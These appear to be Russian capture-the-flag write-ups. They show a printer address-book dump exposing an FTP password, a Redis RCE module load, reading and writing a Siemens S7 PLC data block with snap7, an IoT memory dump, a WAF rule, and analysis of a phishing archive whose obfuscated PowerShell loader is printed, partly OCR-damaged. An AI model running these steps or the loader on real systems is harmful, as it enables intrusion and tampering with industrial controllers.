print(parsed['SOAP-ENV:Envelope']['SOAP-ENV:Body'])

print("\n\nObtained address book. Review the above response for
      credentials in objects such as 'login_password',
      'login_name'")

{
  "@xml:space": "preserve",
  "kmaddrbook:get_personal_address_listResponse": {
    "kmaddrbook:result": "ALL_GET_COMPLETE",
    "kmaddrbook:personal_address": [
      {
        "kmaddrbook:name_information": {
          "kmaddrbook:name": "Даниил Савин",
          "kmaddrbook:furigana": "Даниил Савин",
          "kmaddrbook:id": "1",
        },
        "kmaddrbook:email_information":
        {"kmaddrbook:address": None},
        "kmaddrbook:ftp_information": {
          "kmaddrbook:server_name": None,
          "kmaddrbook:port_number": "21",
        },
        "kmaddrbook:smb_information": {
          "kmaddrbook:server_name": None,
          "kmaddrbook:port_number": "44",
        },
        "kmaddrbook:fax_information": {
          "kmaddrbook:fax_number": None,
          "kmaddrbook:connection_begining_speed": "33600",
          "kmaddrbook:ecm": "ON",
          "kmaddrbook:code_key_id": "0",
          "kmaddrbook:code_send_setting": "OFF",
          "kmaddrbook:code_box_number": "0",
          "kmaddrbook:code_box_setting": "OFF",
        },
      },
      {
        "kmaddrbook:name_information": {
          "kmaddrbook:name": "Немихаил Непетрачков",
          "kmaddrbook:furigana": "Немихаил Непетрачков",
          "kmaddrbook:id": "2",
        },
        "kmaddrbook:email_information":
        {"kmaddrbook:address": None},
        "kmaddrbook:ftp_information": {
          "kmaddrbook:server_name": None,
          "kmaddrbook:port_number": "21",
        },
        "kmaddrbook:smb_information": {
          "kmaddrbook:server_name": None,
          "kmaddrbook:port_number": "445",
        },
      },
    ],
  },
}

```

```

    },
    "kmaddrbook:fax_information": {
        "kmaddrbook:fax_number": None,
        "kmaddrbook:connection_begining_speed": "33600",
        "kmaddrbook:ecm": "ON",
        "kmaddrbook:code_key_id": "0",
        "kmaddrbook:code_send_setting": "OFF",
        "kmaddrbook:code_box_number": "0",
        "kmaddrbook:code_box_setting": "OFF",
    },
},
{
    "kmaddrbook:name_information": {
        "kmaddrbook:name": "Константин Костеневский",
        "kmaddrbook:furigana": "Константин
Костеневский",
        "kmaddrbook:id": "3",
    },
    "kmaddrbook:email_information":
{"kmaddrbook:address": None},
    "kmaddrbook:ftp_information": {
        "kmaddrbook:server_name": None,
        "kmaddrbook:port_number": "21",
    },
    "kmaddrbook:smb_information": {
        "kmaddrbook:server_name": None,
        "kmaddrbook:port_number": "44",
    },
    "kmaddrbook:fax_information": {
        "kmaddrbook:fax_number": None,
        "kmaddrbook:connection_begining_speed": "33600",
        "kmaddrbook:ecm": "ON",
        "kmaddrbook:code_key_id": "0",
        "kmaddrbook:code_send_setting": "OFF",
        "kmaddrbook:code_box_number": "0",
        "kmaddrbook:code_box_setting": "OFF",
    },
},
{
    "kmaddrbook:name_information": {
        "kmaddrbook:name": "Валентина Споржедичко",
        "kmaddrbook:furigana": "Валентина
Споржедичко",
        "kmaddrbook:id": "4",
    },
    "kmaddrbook:email_information":
{"kmaddrbook:address": None},
    "kmaddrbook:ftp_information": {
        "kmaddrbook:server_name": None,
        "kmaddrbook:port_number": "21",
        "kmaddrbook:login_name": "ftpuser",
        "kmaddrbook:login_password": "r34llyh4rdp455",
    },

```



```

    },
    "kmaddrbook:smb_information": {
        "kmaddrbook:server_name": None,
        "kmaddrbook:port_number": "445",
    },
    "kmaddrbook:fax_information": {
        "kmaddrbook:fax_number": None,
        "kmaddrbook:connection_begining_speed": "33600",
        "kmaddrbook:ecm": "ON",
        "kmaddrbook:code_key_id": "0",
        "kmaddrbook:code_send_setting": "OFF",
        "kmaddrbook:code_box_number": "0",
        "kmaddrbook:code_box_setting": "OFF",
    },
},
{
    "kmaddrbook:name_information": {
        "kmaddrbook:name": "Вера Джейсонина",
        "kmaddrbook:furigana": "Вера Джейсонина",
        "kmaddrbook:id": "5",
    },
    "kmaddrbook:email_information":
{"kmaddrbook:address": None},
    "kmaddrbook:ftp_information": {
        "kmaddrbook:server_name": None,
        "kmaddrbook:port_number": "21",
    },
    "kmaddrbook:smb_information": {
        "kmaddrbook:server_name": None,
        "kmaddrbook:port_number": "445",
    },
    "kmaddrbook:fax_information": {
        "kmaddrbook:fax_number": None,
        "kmaddrbook:connection_begining_speed": "33600",
        "kmaddrbook:ecm": "ON",
        "kmaddrbook:code_key_id": "0",
        "kmaddrbook:code_send_setting": "OFF",
        "kmaddrbook:code_box_number": "0",
        "kmaddrbook:code_box_setting": "OFF",
    },
},
{
    "kmaddrbook:name_information": {
        "kmaddrbook:name": "Александр Ивлев",
        "kmaddrbook:furigana": "Александр Ивлев",
        "kmaddrbook:id": "6",
    },
    "kmaddrbook:email_information":
{"kmaddrbook:address": None},
    "kmaddrbook:ftp_information": {
        "kmaddrbook:server_name": None,
        "kmaddrbook:port_number": "21",
    },

```

```

    },
    "kmaddrbook:smb_information": {
        "kmaddrbook:server_name": None,
        "kmaddrbook:port_number": "44",
    },
    "kmaddrbook:fax_information": {
        "kmaddrbook:fax_number": None,
        "kmaddrbook:connection_begining_speed": "33600",
        "kmaddrbook:ecm": "ON",
        "kmaddrbook:code_key_id": "0",
        "kmaddrbook:code_send_setting": "OFF",
        "kmaddrbook:code_box_number": "0",
        "kmaddrbook:code_box_setting": "OFF",
    },
},
{
    "kmaddrbook:name_information": {
        "kmaddrbook:name": "Александр Анчишкин",
        "kmaddrbook:furigana": "Александр Анчишкин",
        "kmaddrbook:id": "7",
    },
    "kmaddrbook:email_information":
{"kmaddrbook:address": None},
    "kmaddrbook:ftp_information": {
        "kmaddrbook:server_name": None,
        "kmaddrbook:port_number": "21",
    },
    "kmaddrbook:smb_information": {
        "kmaddrbook:server_name": None,
        "kmaddrbook:port_number": "445",
    },
    "kmaddrbook:fax_information": {
        "kmaddrbook:fax_number": None,
        "kmaddrbook:connection_begining_speed": "33600",
        "kmaddrbook:ecm": "ON",
        "kmaddrbook:code_key_id": "0",
        "kmaddrbook:code_send_setting": "OFF",
        "kmaddrbook:code_box_number": "0",
        "kmaddrbook:code_box_setting": "OFF",
    },
},
},
],
},
}

```

---

# Принтер 2

## Смотреть прошлый рейтап

После того как мы получили юзера и получили флаг , я увидел что там есть redis.conf

Сразу скачал его себе на комп и грепнул pass

```
└─$ cat redis.conf | grep "pass"
# 2) No password is configured.
# If the master is password protected (using the "requirepass"
configuration
# masterauth <master-password>
# resync is enough, just passing the portion of data the replica
missed while
# 150k passwords per second against a good box. This means that
you should
# use a very strong password otherwise it will be very easy to
break.
requirepass NT0_r3d15_p455w0rd
```

Сразу же понял что это пароль от редиса

```
└─$ redis-cli -h 10.10.1.110
10.10.1.110:6379> AUTH NT0_r3d15_p455w0rd
OK
```

Начал думать как мне повыситя, погуглил и понял что у меня роль slave, что бы повыситя до master мне нужно было выполнить следующие команды

```
└─(kali@kali0lymp)-[~]
└─$ redis-cli -h 10.10.1.110
10.10.1.110:6379> AUTH NT0_r3d15_p455w0rd
OK
10.10.1.110:6379> SLAVEOF NO ONE
OK
10.10.1.110:6379> CONFIG SET masterauth "marcus"
OK
10.10.1.110:6379> CONFIG SET slave-read-only no
OK
10.10.1.110:6379> CONFIG REWRITE
OK
10.10.1.110:6379> INFO replication
# Replication
role:master
connected_slaves:0
master_replid:80a7419348cc395265be4d80210c6d96442e4b50
master_replid2:88eb7e990ec42c64f45bd09fe70ea6bb29b8394b
```

```
master_repl_offset:0
second_repl_offset:1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
10.10.1.110:6379>
```

После этого я подумал как мне можно выполнять команды, и понял что нужно юзать модули, а что бы их заюзать их сначала нужно импортировать и загрузить.

Нашел модуль для выполнения кода (RCE)

И загрузил его через ftp

```
put redis_module.so /tmp/redis_module.so
```

И в редисе выполнил

```
127.0.0.1:6379> CONFIG SET dir /tmp/
OK
127.0.0.1:6379> CONFIG SET dbfilename redis_module.so
OK
127.0.0.1:6379> MODULE LOAD /tmp/redis_module.so
OK
```

А далее просто

```
127.0.0.1:6379> shell.exec 'cat /root/flag'
```

---

## Касса WAF

Нужно добавить в WAF находящийся по пути /etc/nginx/modsecurity.d/modsecurity.conf добавить правило

```
SecRule FILES_TMPNAMES "@rx .pkl$"
"chain,id:1000,phase:2,deny,status:403,msg:'Blocked'" "SecRule
FILES_CONTENT"@rx (reduce|setstate|os.system|subprocess|
eval(|exec()""
```

FILES\_TMPNAMES "@rx .pkl\$" проверяет что файл pkl, chain делается для проверки содержимого.

---

# Поезд.md

Первое что сделал это проверил хосты через nmap nmap -sn 10.10.14.0/24

вывод был

Nmap scan report for 10.10.14.2

Далее проверил на открытые порты этот айпи, и нашел 102,80,443,502,161,162

```
PORT STATE SERVICE 80/tcp closed http 102/tcp open iso-tsap 161/tcp closed snmp 162/tcp closed snmptrap 443/tcp closed https 502/tcp closed mbap
```

понял что нужно чекать 102 порт это iso-tsap команда nmap -script s7-info.nse -p 102 10.10.14.2 показала

```
PORT STATE SERVICE 102/tcp open iso-tsap | s7-info: | Module: 6ES7 214-1BG40-0XB0 | Basic Hardware: 6ES7 214-1BG40-0XB0 |_ Version: 4.3.1 Service Info: Device: specialized
```

понял что тут нужно юзать snap7, импортировал его, прочитал про него, и написал код который будет выводить первое имя из таблицы

```
import snap7
```

```
plc = snap7.client.Client()
plc.connect("10.10.14.2", 0, 1)
if plc.get_connected():
    try:
        # читаем весь DB1 (первые 100 байт)
        data = plc.db_read(1, 0, 100)

        # ищем конец названия команды по нул байту
        end_of_team = data.find(b'\x00')
        name_start = end_of_team + 1

        # конец имени
        end_of_name = data.find(b'\x00', name_start)

        # получаем и декодим имя
        name_bytes = data[name_start:end_of_name]
        first_name = name_bytes.decode('utf-8').split()[0]

        print(f"Первое имя (или тима) в списке: {first_name}")

    finally:
        plc.disconnect()
```

```
else:
    print("Не удалось подключиться к хостику")
```

далее прочитал и понял что можно не просто читать, но еще и записывать. Написал код который будет заменять имя на первом месте

```
import snap7
```

```
plc = snap7.client.Client()
plc.connect("10.10.14.2", 0, 1)
```

```
if plc.get_connected():
    #перезаписываем название команды
    new_team = b"HE\x00" # "HE" + нул байты
    plc.db_write(1, 2, new_team) # DB1, offset=2

    # проверка
    updated_data = plc.db_read(1, 2, 3)
    print("Обновленные данные:", updated_data.hex()) # должно
    быть 48 45 00

    plc.disconnect()
    print("[+] Название команды изменено!")
else:
    print("пупупу")
```

и смотрим на борду, там будет наше название

---

## Кроличий горшок 2.0

На просторах интернета я нашел похожее задание, посмотрел, почитал и понял что нужно дампить память у горшка, далее поискал код на это задание, нашел примерно такой код.

```
import struct
import requests

start_param = 0
end_param = 10000
url = "http://10.10.1.172/control"

with open("dumpy.bin", "wb") as f:
    for i in range(start_param, end_param):
        print(f"[*] Requesting {i}")

        try:
            response = requests.post(url, json={"cmd": 1, "param":
i}, timeout=5)
```

```

        response.raise_for_status()
        data = response.json()
    except requests.RequestException as e:
        print(f"[!] Request failed for {i}: {e}")
        continue
    except ValueError:
        print(f"[!] Invalid JSON response for {i}")
        continue

    value = data.get("value")

    if isinstance(value, int):
        f.write(struct.pack("<i", value))
    elif isinstance(value, float):
        f.write(struct.pack("<f", value))
    elif value is None:
        f.write(struct.pack("<i", 0))
    else:
        print(f"[!] Unknown type for {i}: {value}")

    f.flush()

```

Далее просто

```

└─$ strings dumpy.bin| grep "nto"
nto{p07_wh475_1n_ur_h34d}

```

---

## WIFI-Роутер

WIFI-Роутер на 10 баллов

Я решил посмотреть бинарный файл, не нашел никакпельки что может быть похоже на пароль. Банально решил попробовать самые базовые варианты из стф по типу admin:admin, и я у меня зашел на admin:nto{p07\_wh475\_1n\_ur\_h34d} далее пошел в админку система и там был флаг

```
nto{p455_r3u53_15_d4n63r0u5}
```

---

## Камера 1.0

Камера за 20

открываем Thunderbird, переходим в параметры учетной записи => параметры сервера. Листаем вниз и видим локальный каталог. открываем папку по пути C:.\DOMAIN11xpz9.default-esr\10.10.12.14 наодим файл INBOX. в файле находи сообщения с этой почты, но они зашифрованы. по шифру видно что это Base64 кидаем



его в онлайн дешифратор и видим перед собой кракозябры. полученный результат закидываем на <https://2cyr.com/decode/?lang=ru> и выбираем автоматическое определение кодировки. получаем сообщение " Предыдущее сообщение было отправлено с скомпрометированного аккаунта. Если приложено было установлено переустановите используя архив по следующей ссылке" следующим сообщением как раз и приходит ссылка на тот самый архив <http://91.149.202.121:8125/nr++.zip>

## Враг врага 1-2

внутри скачанного архива находится самараспаковывающийся архив а в нем вредоносный файл notepad++

## Враг-врага 1-7, 1-8

для решения этих заданий нам потребуется понять что делает файл который оказался в автозапуске после запуска вируса. открываем диспетчер задач и смотрим в раздел автозапуска. видим там странный файл .startup.bat откроем его с помощью блокнота и увидим очень неприятный для чтения код.

PowerShell-script

```
PowerShELl -noPRoFIL -WINDo Hi -nOnIntera -EP BypaSS -NoEX  
-NoL "( nEw-ObJEct iO.StREAMrEAdEr((nEw-ObJEct  
Io.ComPRESsiON.dEFLATEstrEaM( [io.mEmORySTREaM]  
[SYStEm.CoNVert]::FromBasE64stRING( 'zZlPq2XJccTX51vUYuTuBnXjEf6DE  
KAF9J8d3f7vb4nM+IXWfVmNjay9E6dqzIyIjMe2+/uj783/r4/x//6+nPqz4+/  
XHvkA33Ql0ri6v8KUuwadWV5/94UI3Znp90rhS0HKw4Wvr3iw71ZJPcocRqNkTZnULa  
n/VRPbZH+0PFbMzTLzumzaYsmHa2QBcvbbbJH1ZU0Y0VLRkqjbylKSS6/fCWSqG/  
T2I1Kw4lMODGDIVTrYIOMfy8K9GCZdhPn4C6yVukCuuqJw5YCW/  
HKFNxVnJ0lLok0mfKb8+n7Z3pNb7XX+QEU3xqXbqoUpkwPAZtCEWKlZHg9Ys4BtJQxI  
HIDSIlKoWFheWA2tIvFar0BcSqSWv/  
AZ6NzMnGJIPDo0KDoLgudaq7l6ImuSseIA9CdgyQbox/  
S5j3EFi1UsIBdTKS8f4dXJtoKEQmksb1WaXqWl8ekB94NggKYIQKDeFc1aZ7mq0B2/  
po9zBcDc0lEz4vTL5bUg6Lays7kDte+VBnKGQTsUciMryAyVNJosvh866wjayDUi7uf  
6JyoH3x0EGdtU2NRRxXPNP33ZKMyDykYmma9Iw4eWmMdqRfuXT5fJ46n1mSouCB56ml  
je2M0KUtEMbx7eCfkhUBC7lN3NoJxUnIlm4Xb9t7ViHpHKxRs+HSMq4k1VF8hn3wXU  
XVcuFFP5AL7aC/0EPKW+qdnFErglpe3l4XhSfQ+A/uvhJjWlRKdGalg/rRw0z4Jz//  
N2lx1+GhgX+n2cHfgkFbVLCXeentVbhTFsLpu54r8FEFRTBQKrdE/  
ddRgRQUiYARpNTWRnibYdUCUP+aPET6N3SNvbSexq5Z29IC8iiKkKBqzkDpWdkLktt:  
JSWIF0LeLc63HmXC2gKuWeGin4V+igl28E+nZVhAj0SDZzL40b9yrklHCxWwWy0PLA  
asUYn5E46Z2fXK00i985EUjF/  
chGwmG33PkG6+9PQDWDaZox4lgeA8aS1e6aLG1hlwJjjcxSeTqdfJqRy07dPCfUk76:  
WSgtG1hlUpDBGeu0HbKqu72bqCeTJDDvYWyw96yrWFv84qeP1HtFXBdSNDuzPNqbEvI  
PVkoNIVxBJ/epXEInK/  
2FPExWLZQYNtEt+UY09NrrCBKDFmQIhKBXob5E9ZIGA3PvtJzNv0IZ0Sehus0ZRLArI  
ITix8vp3LdMKFT4djPu1CcJ4iEoLYNXklwg7618160iRV50uLHULhA+Vs1u6Aiucq3)  
k3Ynbahhd3bX0s5sQomzHQPiMwvf27qGLYrdVHs/U7tL/
```

aJwjMriylfqKgHmFIJAouCTY5ut8ffoI1zY881jgUkYlK2Mb2uUuyQUNxB2o0EvTM1\7QVYFfHQ6TUbdljG8Pib5jglgssYhvDcQXcpH7Sk2mS0dD+a0m2RVwV9/  
dfRpZsAV4JNS74HIzfewr/  
TZQ4F4j+qQMHEBZo+mVnqBJKt+xE7Rv9URexN3tbwesI/LocXpaoM0eVHAo/  
SJEQPT2LtxgIW32AxtWaVEmZHPTYujpJ7zCddoR1h4fGjP37pz9hc8z/  
XkH9BJPJkMvWyH20wParN0KkoLnDGr4hsskaixE70mNhF0GrzX3RlREosK/  
dcUpHUAUTVaT9rZXL9A2lkjSneZsoH1so3szlGiaMuiftPmgVj80NxDwW1F8D84lld-  
bohYWR46u+6arczUw3tMYR5R6MZJwL6y+rHpS1ianpgrfLtaY8imtZv1wxaGgfkfKuf  
6r5BpSIXUCLj7SLBmo2xEytzNKooexLr4umV42oM5K81B7dajx7tYenBh7B6H/  
Upj9QFjMCTzZQdpd0qsG07kicXY9k6eJlKGIpudqD0SbRh6BrHpK66Ky7ZTVskhcYR:  
SPro5P2NVd6TuFSGoA0SZ1ZKj1uDPGCJSpQwqMvU6HTfwMn9N81aGhFjhuAzuZBn7lf  
MXDIM5NVz5+412SUWpwNe8JIh6Da2ikmv9yIxBSec9J6bAmg2CH7vskEpMMpxoSUI9\  
owjEQIUpRxbLjYr7cvrEMSQ0IbXsawRv2gnawZ40jBeWhyrKgKHZE2RLHAQNuQtP9(  
6QZC5uTNqbmvgwtFq707cqQNMeg1t2U06t1VbWYYsDyWuC6vHIXrwvstjpvff0ghMd:  
rfB9Ly9PqC/otf+wNwRSEW6FNHJL47gCbDs12FA5bmD1Q/  
YAB6QMkd4AmPdURq7jFje6g8TPwzuMIVBEQ30Yapu+AwVez0WgkrXgg+XpIxgWTFzh:  
GtH0JSyKIR24+e/Vo6zTl/vgqhaJVvGb7bI/  
X1DxzUDTdPh+34aPu+yUTjLDTQFyJr7atNlwu1gS5S1LfrgibSCjW+ukofZmKFthK1  
oEh25fpKtp/QX+ESpt7+HJdoWcy0JYhD5iqqf4C+70Gs56UtFi+/  
7qr+EBQoeuAedm1MGhmwUFaAdzmarB+ISveNSSur2yAmttg6Aem7822QQhyU24FqCm:  
PiA4Twar2bqcc8smlA+39mL0U4KBCqVobQ3ZUUUNPWddXrzj7HhCEExch5aQ0Tlb5W/  
DR0KHkV6St+Sw1Rb4N4Kh8Ep23qoVzt+3xSpNH7Q0vleSiAaJoTbz8epEXdBjaqTz0(  
MZHZYlapMdTq/  
VeYbfEWjGQPDdk+0LY8lY6lZHHXYdTrfsM4qmBfGRAQuHo1PYkRLDSLfrGijFrsMam(  
jZ5ICDMHUf60epQBpanXDGF60QRkKhKi276t5oWHllbAuGg+7z7ZBJaLq9esi0qDx:  
4p5PxtRyZJfX+QsGVXMr8B5PSMjXWHwAztQL/  
WTikXQ+MYC0mtRF2T2+0yJ6AxioX+vexBBTh37Y36caEmzDXlr3GE30taXa+GAyRZ/  
6RveQnUwLRjYbi/QEj5xokKleKqr+jNiLVukM1uFxa3xN/  
NF6M8JNfbUsJPcX2JqmHs9bPzcEJeN8Mv9NRrAb9eukhfeU/  
9ItVc8WdngFMkme5KS9HSckeLteWigDrghE0h0/  
b0pZUK0YvPXXGLuycvly+jLd6ElcHemwcUdje7aEpUruELUavrIeKnQ9s0es68ogC3:  
FMqyk7I/1a05rZ6lPmo3XR2a7l9le/7kal1GQNUYLrkMvmm//  
u8u4SJD06v1ujcAGNPJJKc8ZHlyytosMXTz3K1DXu030Fb6/  
srAlpWJ6q11bPzVqzAyiJn09cSWHuk360s2Sz+dYHR0J+UiVGQNHLyCI87kD+Hv70pl  
WXxj43EA8i2YB7Suk8LFALNMVaTbBCK1XYr6AxB2nFCSADtrcsJHI25rGUMERpVdnGr  
FMzpS00tJqATy6mMfVorqhUnKkFCK4akKKugdsMq2TUUC+pC5q2S3MBw7ll9gdzi0h:  
gudwUAAj+YVRtqwFEIgT+pQGY6k/  
1GsE24RwKLpLJ0yY0QV19MWQQR4x2gjekqtF8YkmaPT2y4LUEoU0YBDX4Imjtplne4i  
cHPeh6T8h5DmNzLSaxfsiqYlW7FemCG0/ybRkXssBEuDeqJl3eHN76KtoYe2Fl/  
wd0fQ1BgYktw2e415Mwa2ktyzZ58SxPU18bol6CrzvFP14F9ADT9Hc3AzDslGkmUZw-  
+CShJGf+vA2t2nADf0wxiQa1v03fmK38uJD19JvMjyyivtyPrqZody7WHXJa17FiRV:  
Ky67T88+jZFXuePZ5EBf1ijTcEswtG01GDTYXZ2i01wKwjaz0J+0TUhyfFIZP097WUc  
nctMX1nqp7JcSiI2hgYJsQACnlHok6p3noLyxJ0CSFi1WnL8LYqgWs16dFhqq6Qla3:  
A06bfAg3BLoDR01aRE7I0j4wfQwZOVExL8rat0ZWoDJ0C2kxV4w6y4TPwViV5EjXxd\l  
CdoCommSpLXm5K0ZUXyzQfsiRft0cdsxCeJCKU4Ce0cSm0H28pxmn/  
YD8PHZEV0KMD9d6Bv4Rs0hAk1+LV7/Hpl58YfPs7hRVJG0J/  
ebNtDAZkZvg3fXxjh6R1UMYxDRNzQ/tCZa3hD0EAEPdzY5/  
byeM5fn+JDsCE0o8eYu92EkBzKua5+oPB3y+UNdNzaD6rJP14D0EqopojhAzXuNKxLl  
fi9+LJJX0iTQuqfNcS0z4GP0LMR3EKcj61QwxIn988Zt+fVEaAZfLu6L92A4+QgMt/  
FvzvbxY2b/CAXkQwBIZ4jBT0/7EauMjTeriIeWprqJKpCc/  
NJ0M67ZELiob0EjXe4CbtajPyahL0ZQEoDAKa/  
Ge5Z9oq+bbAIo6M0zIRyCiUGFUFfmk5AUMI1qp29I0CdGQ104yt8MV13+NUvXriJEGl

```

F56UvHxL/
xEn0ic6CVXREWIAnb+6cbnW0BQ3cpJrhxyrr3egLMNS4qQSGg819Mxn2bKts2+YG2ec
wRInA3PwqAzf2sibrLEgu0ul+zWQhcS53vM4iQN3ZEK0ftuqE4gTiqd303hut3t3D1v
RTddkqX0dkeA99JuNtB+A2DxUrrbhupt8aKFHoAVyCLafVPdBYX0WE08eSVXZoUFd4l
ujwohIA3lhBI1xoPjQaYY8QmKj8GfDhW0PpaQx+ne2VK+AvPXPnr3WNt6Fw8xqAsAyl
riCQupeXHZwMwAgFRF1GhgtL6fEkfCrMFiG0mEXDwBSYpAC9q05LHyKAiWtNYKThNG4
0s3zuMlRXf48/
lW9+E1vKggeTM3dSf0t0cKqGKKpA91sXJcXbGxXPvZICjAfjlpAnt3ynPE8JjysqTGc
CUAsIWqd5DJ/thy/
3e2kFqQ1jiB2il0Mzxf5Jf+Uk+uR8nJehi9N4yQsYBtJgJWFh+YJ45ITY8XcePR00T:
jwqPn2gx0nSmE1QuX2xj9dCC80FL9lYW+KrdNPL3w2C0+eKcibUtUVZ9CWPAQNVASW.
n96hEYP+DhUCB0nIXwBqcyIVacNF69F0H6VEe5SVNKL8RRHt2T8nmde8E9NG0WuPg)
BBNseeh3qM5hiMXvw3lP5kqFDZkLNkN+zRRkXkafqXsRKfaEX19CJH/
e2M63kFto0R930Y18jfeKvKUIje9QljKf5WchqpPq/
AgXN9wv3QenHuJDHQIg2GJvvqQrUAcxLHYgLY1M0siBgZawDMfpNy9cNnrIof80wzs:
xBGV3yfjJAznLb/dpVY9/b9W2JejQEzDuX0Pi+KenHolld3ns204/+/
S4XNEi8L3HA+n6gqBT0BxP02Em+6GsXLPf9+TYDbU8vs02Lra0PetdWkK00X6yRlh/
Pqx+uHadxgMQPV61a+0tjtmITWwpDBS4Fbmp5Mfs3UNLqq/Wnn6w/fvbr//n33//
iy/W367Pfrrdf//e//v6L79ar9eE/f1o/+e0rD//7889+++43H5dff3h68/HMh63v/
uk/v/ndd79cbz///vv18/Vn6/V69erd17/6u7//t2//4d2X3/7muz988c3vXr95/
xc/++uffv6XP/vp53/zV1+9/cdvv/jmlas3r9fb//qXr3+1Xr//j1/+4g/vv/pqv/f/
imy8//0/rZzTv//zdu09/P9/09vM3Xz0f+xDh3Ze//vqfX/8fzDfP4NZHdG/
efP+/' ) , [io.c0mPrEsSion.CoMpReSsIonMoDE]::DECOMpREss ) ,
[tExT.enc0diNg]::aScii ) .ReAdToEnd( ) | & ( $sHELLid[1]+
$sHELLid[13]+'X')"
```

После изучения понимаем что код декодирует base64 строку и разжимает ее с помощью алгоритма deflate, а после выполняет то что получилось в итоге. закинем строку в <https://jgraph.github.io/drawio-tools/tools/convert.html> и получим новый скрипт

код полученный из Base64 строки

```

'МНОГО СИМВОЛОВ ПРОБЕЛА' |% {$RwblAT = $_ -isPlIt ' ' | %{' ' ;
$_ .SplIt(' ' )}% { $_.LengtH -1}} ; & ( ''.iNDEXoF.ToStrIng()
[427,152,196]-JoIn'')( -j0iN ([cHAr[]] [InT[]]($RwblAT[0..
($RwblAT.LengtH-1)] -j0iN '')).TRiM(' ' ).SplIt( ' ' )))}
```

Теперь мы видим перед собой еще более страшный код. В самом конце мы видим

```

|% {$RwblAT = $_ -isPlIt ' ' | %{' ' ;$_ .SplIt(' ' )}% { $_.LengtH
-1}} ; & ( ''.iNDEXoF.ToStrIng()[427,152,196]-JoIn'')( -j0iN
([cHAr[]] [InT[]]($RwblAT[0..($RwblAT.LengtH-1)] -j0iN '')).TRiM('
' ).SplIt( ' ' )))}
```

эта часть кода как то преобразует пробелы в код и выполняет его. если мы сможем вместо выполнения просто вывести результат то узнаем что делает этот страшный код.

спустя три часа гуглинга понимаем что

```
'' .IndexOf.ToString()[427,152,196]-Join''
```

и есть та часть кода которая запускает обфусцированный код  
уберем ее и получим в итоге

```
|% {$RwblAT = $_ -isPlIt ' ' | %{' ' ;$_ .SPliT(' ')}|% { $_.Length  
-1}} ; ( -j0iN ([cHAr[]] [InT[]]($RwblAT[0..($RwblAT.Length-1)]  
-j0iN ' ').TRiM(' ' ).SPliT(' ' )))}
```

запустим получившийся код(вместе с пробелами) в повершелл  
и снова получаем какой то странный код. Правда этот код  
очень похож на изначальный так что мы уже знаем что с ним  
делать.

Новый код

```
. ( $ENV:CoMSPeC[4,26,25]-J0iN'') (NeW-oBJeCt  
sySTeM.I0.stReAmrEaDER(( NeW-oBJeCt  
sYSTeM.io.COMpREsSiON.deFLATEstreAM([i0.mEM0rysTreAM]  
[conVeRT]::FRomBASE64STRINg( 'VVdpk6PI0f4rHR1+t6fNTnMjtA5/  
ACEkAeI+BBsbHhCHxCK0AWLc//  
2t0sx67Q+qKhWZWU9lJkk+Ly9WMnx1w+4aRmXy8uWVekVeCen1/  
eXly8vL77avJ398ef20fX4nPr9Tn9/xz+/k5+vL1/TlzXpYQ/  
L265sLh+oDDJ0Nhk1TwHt93+8vLz0W/  
vrwd4egV2gBpWBFezz9Wv6llLbC5A+hHwJ9X/zoaWwe3seDM69Pc8lnxpAj/  
n8Tj8BrP40oMXJ87RKN+HilM37/tDUeMdV+9g0x+cCDP3Pn3p8ewfWAa6/fWe/  
ednnyz//uuDzXj/  
RvXwVX94yoDFsT8PH8xRNUNZgBjf7B8T3y39Dw376YwACUb49g6mBsllvv6/  
M2T+PUT+M/vfc2JP1gJhz0AMQIFxDwx0Y76t3WAjdRP4REVN7ev/  
x+0D60SaWZD8s2t9zxD4hghBHj/4pYDiP2/vHqfu0Ue/L6228/  
gvbD4+TTYSKmKFZFYAr7LUP1tnmAl9q9vX8c6rEpki9PsGugAHyNA8g0DBrWOAH+09I  
LPgPLw72SGCeAnsk2K0ALAX0KHAeDUJFrZ4Rw8EjApXpABUSJg/xw8s/  
sol8hvI7VA0bFFhCS8x/0gxs0kCEgqIw/  
NDbYCbGD+IAZxNQDt4RqkDnAmME+NEQB9yDM9wnnumzgn54eVtS6zFK16HeGwa9lxu;  
REWk4pI7dzzBBdv6s2WzdKsNpoXbS/WoqeFdPeKfJPbHDgQSTe/  
oa10qePaDnphCFvT079zFvcHGk8lZPXBJs6yJuC5yvJtx+W05au6b0Wcn01TTZcnts{  
EeDQJnYU5yUapzCTVFizllYV3hh2nLKJHlqfn6/  
qcKad8VFwh9+3rUAnjCV48TARmJYR4Zp7ZVmceltTKY7cZV0wL8XJsryFNhm/  
AGolKweYDXkGYRVPa5VR6qL2DdQEVH1hfuRbSITZbCNa4aoIbcSfxjK4u0Qod8VQ1Tc  
dhZ0Bo6ix9iM3W9EK6xb0vRv3UEK8Y1tlmQNFn3mFgyYSmi8Sx0mNuG9+sQ+/  
W6rcZw7x3KJTBzE0Y38IiuPoWxtC5Wl2nZEHoVKRGemleIYI+2QdqZUWk6DwNVeiXn;  
gtA7kE8o5JkJU9yF/  
6ahZV5wtj19sT+rog9cZacfVAgntMMLzy6q0wb0hdueMMttfCxxVJZW0XN1uMh53cF\  
TaKE1UzMZw224t0UB7s52843SdeCx2JmXrX4TVahTRGp3ubcskPI4Pia3rD3smMVhFc  
nVYZv0fH0st/N9ZPQJt5CeWNf3sTjo8VEGWQBr/  
ZlRNBxDabMTAUq00Ce2WlJ5GOLCo8VQmysuTIZ6TcUCfpHjBzavmhMitnm1Hm5sLdJl  
Z0QqlWQTCRK1BLPUYL7tp3kFIXbz+27TYP62mNkpttt2pvnY9eeHU8xqEbICt8N8004  
CAAKBGiizhZGUnEdxpEt6jKebxzEKY8fws2PuRBNwX1WZIr8Tc3XrSvTMEjtBudvndp  
TE2Wmslp3qe+fU+bEwdjvXz9rMx3mjnIHMhQ2jXZ3SrMueuylKi2SA0XRZ7+  
+2LR3D5cZE6d1fg7IiLW3As3lwoECK4BV/  
0d0kTJy108SBzjg7S6WLIBxmFbuvznsLWd/  
zPi3laBziyS8e4uNGP5KExolsJA57/4yyPXp00HaouVJJnZC647yWig9EMBB6fynJC;
```

```

Q7euAdfKoM4is5cXp2z4KNH5CI7pXiYjgay3cR4KxY6Fdyt0cEyY9c6Be9ytH1XAtcc
Pyg0/bMwka1cT1/
i30RcMJjB47pQdi5niMoqVjMmRSfXCWW7cYhuIfL44FZn00XLnu7R+pFyHzd1N68r1v
AmblDEJsordxNZpIBjk2qY0kfdC02EbqmyjeW/
KRUWBSonEa2C0NR01C8ytudGXaHocbg/
